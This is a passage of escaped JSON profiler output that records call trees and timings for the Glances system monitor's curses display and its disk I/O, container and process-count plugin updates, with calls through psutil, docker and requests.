\"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999599000555463, \"l296\": 0.001999599000555463},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999599000555463, \"l967\": 0.001999599000555463},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020003539975732565, \"l420\": 0.0020003539975732565},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020003539975732565, \"l1130\": 0.0020003539975732565},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_pid\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000364\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019997759955003858, \"l368\": 0.0019997759955003858},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000018001126591, \"l309\": 0.002000018001126591},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__display_right\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000826\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020017209972138517, \"l845\": 0.0020017209972138517},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020017209972138517, \"l1094\": 0.0020017209972138517},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020017209972138517, \"l1046\": 0.0020017209972138517},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101149,\"attributes\": {\"cGlancesCursesStandalone\": 0.10114911699929507, \"l291\": 0.10114911699929507},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101149,\"attributes\": {\"cGlancesCursesStandalone\": 0.10114911699929507, \"l260\": 0.10114911699929507},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101149,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101149,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100476,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047610299807275, \"l1202\": 0.10047610299807275},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100476,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100476,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100532,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053193800558802, \"l291\": 0.10053193800558802},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100532,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053193800558802, \"l260\": 0.10053193800558802},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100532,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100532,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100445,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044483599631349, \"l1202\": 0.10044483599631349},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100445,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100445,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100489,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048912800266407, \"l291\": 0.10048912800266407},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100489,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048912800266407, \"l260\": 0.10048912800266407},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100489,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100489,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100501,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050145699642599, \"l1202\": 0.10050145699642599},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100501,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100501,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100437,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043676500208676, \"l291\": 0.10043676500208676},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100437,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043676500208676, \"l260\": 0.10043676500208676},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100437,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100437,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100171,\"attributes\": {\"cGlancesCursesStandalone\": 0.10017102600249927, \"l1202\": 0.10017102600249927},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100171,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100171,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100416,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041616299713496, \"l291\": 0.10041616299713496},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100416,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041616299713496, \"l260\": 0.10041616299713496},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100416,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100416,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100545,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054512599890586, \"l1202\": 0.10054512599890586},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100545,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100545,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100422,\"attributes\": {\"cGlancesCursesStandalone\": 0.10042212400003336, \"l291\": 0.10042212400003336},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100422,\"attributes\": {\"cGlancesCursesStandalone\": 0.10042212400003336, \"l260\": 0.10042212400003336},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100422,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100422,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100500,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050047800177708, \"l1202\": 0.10050047800177708},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100500,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100500,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100443,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044276600092417, \"l291\": 0.10044276600092417},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100443,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044276600092417, \"l260\": 0.10044276600092417},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100443,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100443,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100452,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045222899498185, \"l1202\": 0.10045222899498185},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100452,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100452,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100500,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049973300192505, \"l291\": 0.10049973300192505},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100500,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049973300192505, \"l260\": 0.10049973300192505},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100500,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100500,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100334,\"attributes\": {\"cGlancesCursesStandalone\": 0.10033410300093237, \"l1202\": 0.10033410300093237},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100334,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100334,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100383,\"attributes\": {\"cGlancesCursesStandalone\": 0.10038291499949992, \"l291\": 0.10038291499949992},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100383,\"attributes\": {\"cGlancesCursesStandalone\": 0.10038291499949992, \"l260\": 0.10038291499949992},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100383,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100383,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100348,\"attributes\": {\"cGlancesCursesStandalone\": 0.10034778599947458, \"l1202\": 0.10034778599947458},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100348,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100348,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100579,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057873299956555, \"l291\": 0.10057873299956555},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100579,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057873299956555, \"l260\": 0.10057873299956555},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100579,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100579,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100516,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051637799915625, \"l1202\": 0.10051637799915625},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100516,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100516,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.108448,\"attributes\": {\"cGlancesStats\": 0.10844797800382366, \"l287\": 0.10844797800382366},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.108448,\"attributes\": {\"cGlancesStats\": 0.10844797800382366, \"l575\": 0.10844797800382366},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.108448,\"attributes\": {\"l571\": 0.10844797800382366},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.108448,\"attributes\": {\"cGlancesStats\": 0.10844797800382366, \"l274\": 0.09056235299794935, \"l275\": 0.017885625005874317},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.065361,\"attributes\": {\"cDiskioPlugin\": 0.00336640200112015, \"l1278\": 0.06536050900467671, \"cContainersPlugin\": 0.002001090004341677, \"cProcesscountPlugin\": 0.05999301699921489},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.065361,\"attributes\": {\"l1295\": 0.06536050900467671},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003366,\"attributes\": {\"cDiskioPlugin\": 0.00336640200112015, \"l114\": 0.00336640200112015},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003366,\"attributes\": {\"cDiskioPlugin\": 0.00336640200112015, \"l1351\": 0.001371028003632091, \"l1365\": 0.001995373997488059},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.001371,\"attributes\": {\"cDiskioPlugin\": 0.001371028003632091, \"l148\": 0.001371028003632091},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001371,\"attributes\": {\"l2129\": 0.001371028003632091},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001371,\"attributes\": {\"l1106\": 0.001371028003632091},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001371,\"attributes\": {\"l1075\": 0.001371028003632091},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001371,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001995,\"attributes\": {\"l131\": 0.001995373997488059},\"children\": [{\"identifier\": \"_deepcopy_list\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000172\",\"time\": 0.001995,\"attributes\": {\"l177\": 0.001995373997488059},\"children\": [{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001995,\"attributes\": {\"l131\": 0.001995373997488059},\"children\": [{\"identifier\": \"_deepcopy_dict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000198\",\"time\": 0.001995,\"attributes\": {\"l202\": 0.001995373997488059},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.002001,\"attributes\": {\"cContainersPlugin\": 0.002001090004341677, \"l252\": 0.002001090004341677},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.002001,\"attributes\": {\"l256\": 0.002001090004341677},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.002001,\"attributes\": {\"l248\": 0.002001090004341677},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.002001,\"attributes\": {\"cDockerExtension\": 0.002001090004341677, \"l260\": 0.002001090004341677},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.002001,\"attributes\": {\"cContainerCollection\": 0.002001090004341677, \"l1009\": 0.002001090004341677},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.002001,\"attributes\": {\"cAPIClient\": 0.002001090004341677, \"l212\": 0.002001090004341677},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.002001,\"attributes\": {\"cAPIClient\": 0.002001090004341677, \"l44\": 0.002001090004341677},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.002001,\"attributes\": {\"cAPIClient\": 0.002001090004341677, \"l246\": 0.002001090004341677},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.002001,\"attributes\": {\"cAPIClient\": 0.002001090004341677, \"l602\": 0.002001090004341677},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.002001,\"attributes\": {\"cAPIClient\": 0.002001090004341677, \"l579\": 0.002001090004341677},\"children\": [{\"identifier\": \"merge_environment_settings\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000750\",\"time\": 0.002001,\"attributes\": {\"cAPIClient\": 0.002001090004341677, \"l760\": 0.002001090004341677},\"children\": [{\"identifier\": \"get_environ_proxies\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/utils.py\\u0000816\",\"time\": 0.002001,\"attributes\": {\"l822\": 0.002001090004341677},\"children\": [{\"identifier\": \"should_bypass_proxies\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/utils.py\\u0000755\",\"time\": 0.002001,\"attributes\": {\"l772\": 0.002001090004341677},\"children\": [{\"identifier\": \"urlparse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000374\",\"time\": 0.002001,\"attributes\": {\"l395\": 0.002001090004341677},\"children\": [{\"identifier\": \"_urlparse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000399\",\"time\": 0.002001,\"attributes\": {\"l400\": 0.002001090004341677},\"children\": [{\"identifier\": \"_urlsplit\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000499\",\"time\": 0.002001,\"attributes\": {\"l520\": 0.002001090004341677},\"children\": [{\"identifier\": \"_splitnetloc\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000416\",\"time\": 0.002001,\"attributes\": {\"l421\": 0.002001090004341677},\"children\": [{\"identifier\": \"min\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.059993,\"attributes\": {\"cProcesscountPlugin\": 0.05999301699921489, \"l85\": 0.05999301699921489},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.059993,\"attributes\": {\"cGlancesProcesses\": 0.05999301699921489, \"l617\": 0.05399244999716757, \"l624\": 0.002000289998250082, \"l659\": 0.004000277003797237},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.053992,\"attributes\": {\"cGlancesProcesses\": 0.05399244999716757, \"l478\": 0.045995961998414714, \"l493\": 0.007996487998752855},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.045996,\"attributes\": {\"l1541\": 0.002384165993134957, \"l1558\": 0.04361179600527976},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002384,\"attributes\": {\"l1485\": 0.002384165993134957},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002384,\"attributes\": {\"l1526\": 0.002384165993134957},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002384,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002384,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.043612,\"attributes\": {\"cProcess\": 0.04361179600527976, \"l579\": 0.039616309011762496, \"l572\": 0.003995486993517261},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001611,\"attributes\": {\"cProcess\": 0.0016106220064102672, \"l382\": 0.0016106220064102672},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001611,\"attributes\": {\"cProcess\": 0.0016106220064102672, \"l1138\": 0.0016106220064102672},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001611,\"attributes\": {\"cProcess\": 0.0016106220064102672, \"l1593\": 0.0016106220064102672},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001611,\"attributes\": {\"cProcess\": 0.0016106220064102672, \"l1880\": 0.0016106220064102672},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.001611,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001611,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"status\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000750\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998472995182965, \"l753\": 0.001998472995182965},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000749998842366, \"l680\": 0.002000749998842366},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000749998842366, \"l1593\": 0.002000749998842366},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000749998842366, \"l1740\": 0.002000749998842366},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000749998842366, \"l1593\": 0.002000749998842366},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000749998842366, \"l382\": 0.002000749998842366},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000749998842366, \"l1683\": 0.002000749998842366},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.002000749998842366},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l719\": 0.002000749998842366},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994700051029213, \"l939\": 0.0019994700051029213},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994700051029213, \"l1593\": 0.0019994700051029213},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994700051029213, \"l2052\": 0.0019994700051029213},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994700051029213, \"l1593\": 0.0019994700051029213},\"children\": [{\"identifier\": 